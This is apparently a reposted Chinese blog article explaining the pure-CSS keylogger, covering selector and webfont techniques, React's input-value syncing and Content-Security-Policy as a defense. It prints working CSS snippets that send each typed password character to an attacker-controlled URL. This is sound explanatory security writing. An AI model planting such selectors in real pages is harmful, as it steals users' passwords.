日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 前端技术 > CSS >内容正文

CSS

CSS keylogger:攻击与防御

發布時間:2025/4/5 CSS 30 豆豆
生活随笔 收集整理的這篇文章主要介紹了 CSS keylogger:攻击与防御 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

前言

前陣子在 Hacker News 上面看到這篇:Show HN: A CSS Keylogger,大開眼界,決定要找個時間好好來研究一下,并且寫一篇文章分享給大家。

這篇會講到以下東西:

  • 什麼是 keylogger
  • CSS keylogger 的原理
  • CSS keylogger 與 React
  • 防御方法
  • 好,那就讓我們開始吧!

    Keylogger 是什麼?

    Keylogger 就是鍵盤側錄,是惡意程式的一種,拿來記錄你電腦上面所有按過的按鍵。還記得我小時候曾經用 VB6 寫了一個超簡單的 keylogger,只要呼叫系統提供的 API 并且記錄相對應的按鍵就好。

    在電腦上面被裝這個的話,就等于你輸入的任何東西都被記錄起來。當然,也包含了帳號跟密碼。不過如果我沒記錯,防毒軟體的行為偵測應該可以把這些都擋掉,所以也不用太過擔心。

    剛剛講的是在電腦上面,現在我們把范圍縮小,侷限在網頁。

    如果你要在頁面上加一個 keylogger,通常會利用 JavaScript 來達成,而且程式碼超級簡單:

    document.addEventListener('keydown', e => {console.log(e.key) }) 復制代碼

    只要偵測keydown事件并且抓出按下的 key 就行了。

    不過假如你有能力在你想入侵的網頁上面加入 JavaScript 的話,通常也不需要這麼麻煩去記錄每個按鍵,你直接把 Cookie 偷走、竄改頁面、導到釣魚頁面,或者是在 submit 的時候把帳號密碼回傳給自己的 Server 就好,所以 keylogger 顯得不是那麼有用。

    好,那假設我們現在沒辦法插入惡意的 JavaScript,只能改 CSS,有辦法用純 CSS 做出一個 keylogger 嗎?

    有,畢竟 CSS 能做的事情可多了。

    純 CSS keylogger 的原理

    直接看程式碼你就懂了(取自:maxchehab/CSS-Keylogging):

    input[type="password"][value$="a"] {background-image: url("http://localhost:3000/a"); } 復制代碼

    神奇吧!

    如果你不熟悉 CSS selector,這邊幫你複習一下。上面那段意思就是說如果 type 是 password 的 input,value 以 a 結尾的話,背景圖就載入http://localhost:3000/a 。

    現在我們可以把這串 CSS 改一下,新增大小寫英文字母、數字甚至是特殊符號,接著會發生什麼事呢?

    如果我輸入 abc123,瀏覽器就會發送 Request 到:

  • http://localhost:3000/a
  • http://localhost:3000/b
  • http://localhost:3000/c
  • http://localhost:3000/1
  • http://localhost:3000/2
  • http://localhost:3000/3
  • 就這樣,你的密碼就完全被攻擊者給掌握了。

    這就是 CSS keylogger 的原理,利用 CSS Selector 搭配載入不同的網址,就能夠把密碼的每一個字元發送到 Server 去。

    看起來很可怕對吧,別怕,其實沒那麼容易。

    CSS keylogger 的限制

    不能保證順序

    雖然你輸入的時候是按照順序輸入的,但 Request 抵達后端的時候并不能保證順序,所以有時候順序會亂掉。例如說 abc123 變成 bca213 之類的。

    但如果我們把 CSS Selector 改一下的話,其實就能解決這個問題:

    input[value^="a"] {background-image: url("http://localhost:3000/a_"); }input[value*="aa"] {background-image: url("http://localhost:3000/aa"); }input[value*="ab"] {background-image: url("http://localhost:3000/ab"); } 復制代碼

    如果開頭是 a,我們就送出a_,接著針對 26 個字母跟數字的排列組合每兩個字元送出一個 request,例如說:abc123,就會是:

  • a_
  • ab
  • bc
  • c1
  • 12
  • 23
  • 就算順序亂掉,透過這種關係你把字母重新組合起來,還是可以得到正確的密碼順序。

    重複字元不會送出 Request

    因為載入的網址一樣,所以重複的字元就不會再載入圖片,不會發送新的 Request。這個問題目前據我所知應該是解不掉。

    在輸入的時候,其實 value 不會變

    這個其實是 CSS Keylogger 最大的問題。

    當你在 input 輸入資訊的時候,其實 input 的 value 是不會變的,所以上面講的那些完全不管用。你可以自己試試看就知道了,input 的內容會變,但是你用 dev tool 看的話,會發現 value 完全不會變。

    針對這個問題,有兩個解決方案,第一個是利用 Webfont:

    <!doctype html> <title>css keylogger</title> <style> @font-face { font-family: x; src: url(./log?a), local(Impact); unicode-range: U+61; } @font-face { font-family: x; src: url(./log?b), local(Impact); unicode-range: U+62; } @font-face { font-family: x; src: url(./log?c), local(Impact); unicode-range: U+63; } @font-face { font-family: x; src: url(./log?d), local(Impact); unicode-range: U+64; } input { font-family: x, 'Comic sans ms'; } </style> <input value="a">type `bcd` and watch network log 復制代碼

    (程式碼取自:Keylogger using webfont with single character unicode-range)

    value 不會跟著變又怎樣,字體總會用到了吧!只要每打一個字,就會送出相對應的 Request。

    但這個方法的侷限有兩個:

  • 沒辦法保證順序,一樣也沒辦法解決重複字元的問題
  • 如果欄位是<input type='password' />,就沒有用
  • (在研究第二個侷限的時候發現一件有趣的事,由于 Chrome 跟 Firefox 會把「頁面上有 type 是 password 的 input,但是又沒用 HTTPS」的網站標示為不安全,所以有人研究出用普通 input 搭配特殊字體來躲過這個偵測,并且讓輸入框看起來像是 password(但其實 type 不是 password),在這種情形下就可以用 Webfont 來攻擊了)

    再來我們看第二種解決方案,剛剛有說到這個問題的癥結點在于 value 不會變,換句話說,如果你 input 輸入值的時候,value 會跟著變的話,這個攻擊手法就很用了。

    嗯...有沒有一種很熟悉的感覺。

    class NameForm extends React.Component {constructor(props) {super(props);this.state = {value: ''};this.handleChange = this.handleChange.bind(this);}handleChange(event) {this.setState({value: event.target.value});}render() {return (<form><label>Name:<input type="text" value={this.state.value} onChange={this.handleChange} /></label></form>);} } 復制代碼

    (以上程式碼改寫自React 官網)

    如果你用過 React 的話,應該會很熟悉這個模式。你在輸入任何東西的時候,會先改變 state,再把 state 的值對應到 input 的 value 去。因此你輸入什麼,value 就會是什麼。

    React 是超夯的前端 Library,可以想像有一大堆網頁都是用 React 做的,而且只要是 React,幾乎就能保證 input 的 value 一定會同步更新(幾乎啦,但應該還是有少數沒有遵循這個規則)。

    在這邊先做個總結,只要你 input 的 value 會對應到裡面的值(假如你用 React,幾乎一定會這樣寫),并且有地方可以讓別人塞入自訂的 CSS 的話,就能成功實作出 CSS Keylogger。雖然有些缺陷(沒辦法偵測重複字元),但概念上是可行的,只是精準度沒那麼高。

    React 的回應

    React 的社群也有針對這一個問題進行討論,都在 Stop syncing value attribute for controlled inputs #11896 這個 Issue 裡。

    事實上,讓 input 的 value 跟輸入的值同步這件事情一直都會有一些 bug,以前甚至發生了知名流量分析網站 Mixpanel 不小心記錄敏感資訊的事件,而最根本的原因就是因為 React 會一直同步更新 value。

    Issue 的討論滿值得一看的,裡面有提到大家常搞溷的一件事情:Input 的 attributes 跟 properties。我找到 Stackover flow 上面一篇不錯的解釋:What is the difference between properties and attributes in HTML?

    attributes 基本上就是你 HTML 上面的那個東西,而 properties 代表的是實際的 value,兩個不一定會相等,舉例來說:

    <input id="the-input" type="text" value="Name:"> 復制代碼

    假如你今天抓這個 input 的 attribute,你會得到Name:,但如果你今天抓 input 的 value,你會得到目前在輸入框裡面的值。所以其實這個 attribute 就跟我們常用的 defaultValue 是一樣的意思,就是預設值。

    不過在 React 裡面,他會把 attribute 跟 value 同步,所以你 value 是什麼,attribute 就會是什麼。

    從討論看起來,在 React 17 滿有機會把這個機制拿掉,讓這兩者不再同步。

    防御方法

    上面講了這麼多,因為現今 React 還沒把這個改掉,所以問題還是存在著。而且其實除了 React,也可能有別的 Library 做了差不多的事情。

    Client 端的防御方法我就不提了,基本就是裝一些別人寫好的 Chrome Extension,可以幫你偵測符合模式的 CSS 之類的,這邊比較值得提的是 Server 端的防御。

    目前看起來最一勞永逸的解決方案就是 Content-Security-Policy,簡而言之它是一個 HTTP Response 的 header,用來決定瀏覽器可以載入哪些資源,例如說禁止 inline 程式碼、只能載入同個 domain 下的資源之類的。

    這個 Header 的初衷就是為了防止 XSS 以及攻擊者載入外部的惡意程式碼(例如說我們這個 CSS keylogger)。想知道更詳細的用法可以參考這篇:Content-Security-Policy - HTTP Headers 的資安議題 (2)

    總結

    不得不說,這個手法真的很有趣!之前第一次看到的時候也驚嘆了好一陣子,居然能發現這樣子的純 CSS Keylogger。雖然技術上是可行的,但在實作上還是會碰到許多困難之處,而且要符合滿多前提才能做這樣子的攻擊,不過還是很值得關注后續的發展。

    總之呢,這篇文就是想介紹這個東西給讀者們,希望大家有所收穫。

    參考資料

  • Keylogger using webfont with single character unicode-range #24
  • Stop syncing value attribute for controlled inputs #11896
  • maxchehab/CSS-Keylogging
  • Content-Security-Policy - HTTP Headers 的資安議題 (2)
  • Stealing Data With CSS: Attack and Defense
  • Bypassing Browser Security Warnings with Pseudo Password Fields
  • CSS Keylogger (and why you shouldn’t worry about it)
  • Mixpanel JS library has been harvesting passwords
  • 總結

    以上是生活随笔為你收集整理的CSS keylogger:攻击与防御的全部內容,希望文章能夠幫你解決所遇到的問題。

    如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。